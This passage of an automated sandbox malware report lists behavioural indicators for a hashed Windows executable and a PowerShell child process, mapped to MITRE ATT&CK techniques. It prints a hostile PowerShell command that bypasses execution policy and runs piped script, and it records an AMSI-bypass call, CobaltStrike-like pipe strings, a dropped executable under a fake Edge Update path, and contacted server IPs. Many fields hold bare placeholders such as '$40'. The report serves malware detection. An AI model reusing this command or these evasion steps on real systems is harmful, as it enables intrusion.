functionality","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00003628)\n \"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to determine if process is running under WOW64","description":"\"powershell.exe\" called \"IsWow64Process\" with parameter \"1336\" - (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-146","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"powershell.exe\" called \"EnumWindows\" with parameter \"0\" - (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00003628)\n \"powershell.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$40","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"\"powershell.exe\" called \"GetVersionExA\" with parameter 940000000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve account information for specified SID","description":"\"powershell.exe\" called \"LookupAccountSidW\" with param Name NETWORK SERVICE (UID: 00000000-00001336)\n \"powershell.exe\" called \"LookupAccountSidW\" with param Name SYSTEM (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1033","relevance":3,"id":"api-148","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"powershell.exe\" called \"GetLocaleInfoW\" with parameter \"9\" - (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"file/memory contains long string with (Indicator: \"IsWow64Process\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate volumes (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1006","relevance":1,"id":"string-194","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"file/memory contains long string with (Indicator: \"select * from \"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"FindWindowExA\" (Indicator: \"FindWindowExA\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"FindWindowW\" (Indicator: \"FindWindowW\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$42","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$43","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"file/memory contains long string with (Indicator: \"GetTimeZoneInformation\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"syscall.GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"GetDynamicTimeZoneInformation\" (Indicator: \"GetDynamicTimeZoneInformation\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetTimeZoneInformationForYear\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$44","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve operating system version","description":"Observed string: \"Ver\" (Indicator: \"ver\") in Source: 00000000-00001336.00000000.107993.F5220000.00000004.mdmp\n 00000000-00001336.00000001.108809.F5220000.00000004.mdmp","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-327","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"file/memory contains long string with (Indicator: \"GetWindowsDirectory\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")\n Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$45","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"file/memory contains long string with (Indicator: \"GetStartupInfo\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"$46","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Queries TCP/IP interface details","description":"$47","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-130","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Queries volume information","description":"$48","origin":"API Call","mitre_attack_id":"T1082","relevance":8,"id":"api-39","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the active computer name","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":5,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Environment Awareness","name":"References to WMI query strings used for process discovery","description":"Found string \"PATH, Architecture from Win32_Processor\" (Indicator: \" Win32_Process\"; Source: \"00000000-00001336.00000000.107993.F2E20000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-513","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"Exploit/Shellcode","name":"Found CobaltStrike named pipe like strings","description":"$49","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-147","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKey (in long string)\" in file \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\"\n Found registry modification API: \"RegLoadMUIString (in long string)\" in file \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\"\n Found registry modification API: \"RegConnectRegistry (in long string)\" in file \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\"\n Found registry modification API: \"RegCreateKeyExW\" in \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-307","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Able to enumerate service (API string)","description":"file/memory contains long string with (Indicator: \"OpenSCManager\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"QueryServiceStatus\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"EnumServicesStatus\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"EnumDependentServices\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"QueryServiceStatus\" (Indicator: \"QueryServiceStatus\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found reference to API \"OpenSCManagerW\" (Indicator: \"OpenSCManager\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1007","relevance":1,"id":"string-191","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Able to execute applications using .NET process API","description":"Found string \"processstartinfo\" (Source: \"00000000-00001336.00000001.108809.B47F0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-934","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFileW\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"MoveFileExW\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-884","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Able to retrieve command line parameters of the running process","description":"Found string \"GetCommandLineW\" (Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found string \"GetCommandLineA\" (Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-930","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000000.107993.359F2000.00000002.mdmp\")\n Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetProcessHeaps\" (Indicator: \"GetProcessHeaps\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-272","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Accesses System Certificates Settings","description":"$4a","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-17","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)","description":"\"powershell.exe\" called \"GetProcAddress\" with a parameter \"AmsiScanBuffer\" (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1685","relevance":1,"id":"api-179","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a directory","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Edge (UID: 00000000-00003628)\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Edge\\Update (UID: 00000000-00003628)\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Edge\\Update\\Download (UID: 00000000-00003628)\n \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"CreateDirectoryW\" with parameter %APPDATA%\\Microsoft\\Edge\\Update\\Download\\Runtime (UID: 00000000-00003628)","origin":"API Call","mitre_attack_id":"T1074.001","relevance":3,"id":"api-122","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create a process","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"CreateProcessW\" with parameter \"powershell.exe -NoProfile -ExecutionPolicy Bypass -Command \"$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\\de\" - (UID: 00000000-00003628), \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"CreateProcessW\" with parameter \"%APPDATA%\\Microsoft\\Edge\\Update\\Download\\Runtime\\svcctrl3249_1523.exe\" - (UID: 00000000-00003628)","origin":"API Call","mitre_attack_id":"T1106","relevance":5,"id":"api-128","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to create an instance of a named pipe","description":"\"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\" - (UID: 00000000-00003628)\n \"powershell.exe\" called \"NtCreateNamedPipeFile\" with parameter \"pipe\\PSHost.134362080436435070.1336.DefaultAppDomain.powershell\" - (UID: 00000000-00001336)","origin":"API Call","mitre_attack_id":"T1570","relevance":3,"id":"api-138","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to load libraries","description":"$4b","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-175","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Calls an API typically used to retrieve function addresses","description":"$4c","origin":"API Call","mitre_attack_id":"T1106","relevance":1,"id":"api-176","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contacts domains","description":"\"raw.githubusercontent.com\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-0","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"45.32.65.138:443\"\n \"185.199.108.133:443\"\n \"208.167.233.7:443\"","origin":"Network Traffic","mitre_attack_id":"T1071","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to add modules to the current session (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Import-Module\"; File: \"AMSI\")\n Found string \"Import-Module Defender\" (Indicator: \"Import-Module\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.001","relevance":1,"id":"string-348","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to close a handle to a service (API string)","description":"file/memory contains long string with (Indicator: \"CloseServiceHandle\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"CloseServiceHandle\" (Indicator: \"CloseServiceHandle\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-242","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"$4d","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-204","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to create a new user account (API string)","description":"file/memory contains long string with (Indicator: \"NetUserAdd\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1136.001","relevance":1,"id":"string-214","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"$4e","origin":"File/Memory","mitre_attack_id":"T1074.001","relevance":1,"id":"string-423","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to create new processes (API string)","description":"Found reference to API \"CreateProcessInternalA\" (Indicator: \"CreateProcessInternal\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"CreateProcessInternalW\" (Indicator: \"CreateProcessInternal\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-425","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"file/memory contains long string with (Indicator: \"DeviceIoControl\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"IoCreateDevice\" (Indicator: \"IoCreateDevice\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"DeleteTimerQueueDeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00003628.00000000.107958.2D680000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-220","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"$4f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-315","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"file/memory contains long string with (Indicator: \"RegCloseKey\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"syscall.RegCloseKey\" (Indicator: \"RegCloseKey\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp, 00000000-00001336.00000001.108809.80A2A000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-345","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"details too long to display","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-101","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"file/memory contains long string with (Indicator: \"ShellExecute\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-240","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"$50","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-550","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to impersonate another user on the local machine (API string)","description":"file/memory contains long string with (Indicator: \"LogonUser\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-225","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"file/memory contains long string with (Indicator: \"MoveFile\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1570","relevance":1,"id":"string-322","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"file/memory contains long string with (Indicator: \"GetCommandLine\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"CommandLineToArgv\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"syscall.GetCommandLine\" (Indicator: \"GetCommandLine\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00003628.00000000.107958.2D59C000.00000004.mdmp, 00000000-00003628.00000000.107958.2D680000.00000004.mdmp, 00000000-00003628.00000001.108720.2D59C000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1059.003","relevance":1,"id":"string-206","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"$51","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-161","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"$52","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-319","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"GetShellWindow\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"GetWindowThreadProcessId\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains ability to start a service (API string)","description":"file/memory contains long string with (Indicator: \"StartService\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n file/memory contains long string with (Indicator: \"StartServiceCtrlDispatcher\"; File: \"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe\")\n Found reference to API \"StartServiceW\" (Indicator: \"StartService\"; Source: \"00000000-00001336.00000000.107993.0D688000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-209","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"informative","category":"General","name":"Contains registry location 